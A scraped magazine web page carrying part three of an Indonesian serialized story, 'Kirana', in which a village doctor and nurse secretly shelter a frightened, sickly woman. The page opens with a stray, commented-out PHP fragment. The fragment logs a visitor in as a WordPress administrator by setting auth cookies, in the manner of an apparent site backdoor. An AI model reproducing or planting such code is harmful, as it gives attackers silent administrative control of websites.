user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Kirana [3]

4 Jul 2011

<< cerita sebelumnya

“Dia ketakutan, Dokter,” Suster Meida berbisik.

“Ya, tapi mengapa ia ada di jok belakang mobilku?“ aku balas berbisik. Suster Meida mengangkat bahunya.

“Sebaiknya kita bawa ia kembali ke loji.“

“Jangan! Jangan...! Tolong aku... tolong aku...!“ Ia memohon dengan ketakutan, lalu kami mendengar tangisannya yang menyayat hati seperti yang sudah-sudah. Namun, kali ini lebih nyata karena terdengar begitu dekat.
Kami berpandangan lagi. Suster Meida menutup pintu belakang.

“Kita harus memberi tahu suaminya,“ aku merasa tidak nyaman.

“Jangan! Bukankah ia sangat ketakutan?“

Suster Meida mencegahku.

“Kita bisa dituduh menculik orang, Sus. Kita kembalikan saja!“

“Dok, dia sakit.“

“Aku tahu, tapi membawanya tanpa izin keluarga, juga nggak betul.“ Aku tetap tak setuju.

Suster Meida menatapku.

“Dia menyelinap, menyusup masuk ke dalam mobil dan kita tidak tahu.“

Aku terperangah. “Astaga…! Kau pasti sudah terobsesi!”

Tangisan Kirana terdengar begitu memelas dari sini. Sesekali ia merintih, seperti sedang menahan sakit yang sangat. Suster Meida terus memaksaku melalui kedua matanya. Aku akhirnya menyerah.

“Kau yang akan bertanggung jawab atas semua ini, Sus.“ Aku memutar kontak dan mulai menjalankan kembali jipku. Suster Meida yang duduk di belakang tidak menyahut. Ia sibuk menenangkan wanita itu dengan kata-kata halus dan lembut. Aku tidak mengerti, apakah Suster Meida melakukan itu semua karena panggilan jiwanya sebagai tenaga medis, atau karena ia memang terobsesi pada wanita yang disebut gila oleh semua orang.

“Jangan ke puskesmas, Dok. Kita ke rumahmu saja,“ Suster Meida mencegahku saat akan berbelok ke arah puskesmas.

“What?“

“Dia akan menjadi bahan tontonan orang, Dok. Kasihan, ’kan?“

“ Apakah kau pernah menanyakan persetujuanku atas idemu ini?“

“Kau tinggal lurus ke kanan, lalu belok kiri.“

Ya, ampun. Gadis itu memang sudah merencanakan membawa wanita itu ke rumahku yang tak jauh dari jalan raya. Memang tidak kelihatan dari jalan, karena letak rumahku di balik tebing. Dulunya, rumah itu milik seorang sinder kehutanan, tetapi kini dijadikan perumahan dinas dokter puskesmas.

Ini adalah bagian paling menyebalkan. Aku harus celingukan menoleh ke kanan-kiri untuk memastikan situasi aman dari perhatian orang, sebelum membuka pintu belakang. Setelah itu, kami segera membawa wanita itu masuk ke dalam rumah. Kembali tanpa persetujuanku, Suster Meida sudah membaringkannya di kamarku. Tetapi, memang itu satu-satunya kamar yang ada kasurnya di rumah ini.

Sekarang aku bisa melihat wajah wanita yang menjadi bahan pembicaraan seluruh desa ini dengan jelas. Wajahnya tirus, tulang rahang dan pipinya menonjol dari balik kulitnya yang kusam, jerawatan. Rambutnya kusut masai dipotong pendek sebahu. Matanya tidak bersinar, pandangannya kosong menerawang ke satu titik entah di mana. Bibirnya kering mengelupas. Badannya kurus. Jari-jarinya kelihatan panjang seperti cakar, kukunya juga hitam-hitam tidak dirawat. Ia sama sekali berbeda dari lukisan di ruang tengah loji itu.

Aku menoleh pada Suster Meida yang tengah berdiri mematung memperhatikan wanita itu dengan seksama.

“Kau yakin dia Kirana?” aku merasa sangsi. Rasanya tidak seimbang antara risiko yang kami harus tanggung dengan membawanya ke rumahku, jika nantinya ternyata dia bukanlah Kirana yang dimaksud selama ini.
Suster Meida menggeleng ragu.

“Rasanya dia dulu tidak seperti ini.“

“Hah? Jadi kau sendiri meragukannya? Lalu, kenapa kita membuang waktu? Ayo, kita kembalikan saja ke rumah itu!“

Kirana, wanita itu, tersentak dari penerawangannya yang berkelana entah ke mana itu.

“Jangan kau bawa aku kembali ke sana,“ ia berteriak ketakutan.

“Sshhh...,“ kami secara otomatis menyuruhnya diam karena kaget.

Advertisement
“Aku tak mau kembali ke sana.... Tolong aku, nanti aku diikat....“ Ia menutup wajahnya dengan bantal, menangis tersedu-sedu.

Aku duduk di sisi kiri ranjang. Secara refleks Kirana beringsut menghindariku, sambil menyusut air matanya yang menggaris kedua pipi kurusnya.

“Aku Anindita.... Dokter Anindita. Aku akan membantumu.“

Ia memandangku dengan sorot mata aneh. Seperti berharap, seperti benci, ketakutan, dan kesedihan bercampur aduk di dalamnya.

Aku menoleh pada Suster Meida yang masih saja mengamati wanita itu. Ia mengerti maksudku, lalu keluar membawakan stetoskop yang kuminta. Sebuah tensi meter juga ikut dibawakan.

“Apakah kau teman?“ Kirana bertanya seperti linglung.

Aku tersenyum. “Tentu saja. Kami adalah temanmu.“

Ia mengawasi Suster Meida dengan bingung. Ia tidak melawan saat kuperiksa nadi, jantung, serta napasnya. Pelupuk matanya pucat, kantong matanya gelap dan bengkak, layaknya telah memerah habis seluruh air matanya. Ya, ampun, wanita ini sama sekali tidak cantik!

“Apakah aku mengenalmu, Suster?“ ia bertanya pelan.

Suster Meida yang sedang memasang tensimeter, menatapnya.

“Orang kecil seperti saya, tentu Nyonya tidak ingat,“ begitu lembut Suster Meida merendahkan dirinya. Nyonya?

“Tidak.... Mengapa aku tidak mengenal semua orang? Mengapa aku begini pusing?“ ia bergumam sedih. Suster Meida memberikan isyarat melalui matanya. Aku mengikuti arah matanya yang berakhir pada lengan kirinya. Aku bisa melihat bintik-bintik merah bekas jarum suntik bertebaran di sana.

Perasaanku menjadi tidak enak.

“Ada yang dikeluhkan olehmu? Napas sesak atau perut mual?”

Ia menganggukkan kepalanya dengan lemah, lalu memperhatikan bagaimana Suster Meida mengukur tekanan darahnya.

“Apakah aku mengenalmu?” ia bertanya lagi.

Suster Meida tersenyum.

“Nyonya harus banyak istirahat. Delapan puluh enam puluh, Dok.”

Itulah mengapa ia selalu merasa pusing dan kelihatan demikian lemah. “Apakah engkau sungguh seorang dokter?”

“Tentu saja. Aku dokter baru di Puskesmas Sumberpodang. Jadi, mungkin kita belum pernah bertemu secara langsung.”

Kirana menegakkan tubuhnya pelan-pelan.

“Aku tidak ingat desa ini. Sumber apa?”

“Sumberpodang, Nyonya.”

Ia mengerutkan dahinya, sepertinya ia merasakan pusing yang luar biasa. Kemudian ia menutupi telinganya dengan kedua tangannya. Ia lalu jatuh berguling-guling di atas kasur sambil merintih-rintih. Ia pasti sedang kesakitan.

“Aku... aku... akan muntah...,” ia memberi tahu kami di antara rintihannya. Suster Meida berlari ke belakang membawa ember. Kirana kubantu duduk di tepi tempat tidur. Sejurus kemudian ia sudah muntah ke dalam ember yang diletakkan di bawah kakinya.
Suster Meida mengurut pundaknya dengan lembut, diiringi kata-kata halus yang menguatkan hati. Saat itulah aku melihat bekas luka operasi pada tengkuk sebelah kiri atas. Kusibak rambut pendeknya, lalu aku mendapatkan luka itu sampai ke belakang telinga sebelah kiri. Mungkin luka ini disebabkan oleh kecelakaan mobil, seperti yang diceritakan orang-orang itu.

Muntahannya kekuningan. Itu berarti cairan lambungnya terangkat. Artinya, tidak ada makanan yang diproses di lambungnya. Melihat badannya yang kurus, aku sangsi apakah wanita ini dirawat dengan baik di rumah itu.

Suster Meida memberinya minum teh manis.

“Kau ingin makan sesuatu, Nyonya?” tanyanya, lembut.

Kirana memandangnya lama. Kami melihat air matanya menggenang di kedua pelupuk matanya.

“Ada apa, Nyonya?”


Penulis: Shanty D. Rilmira
Pemenang Penghargaan Sayembara Mengarang Cerber femina 2008





 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?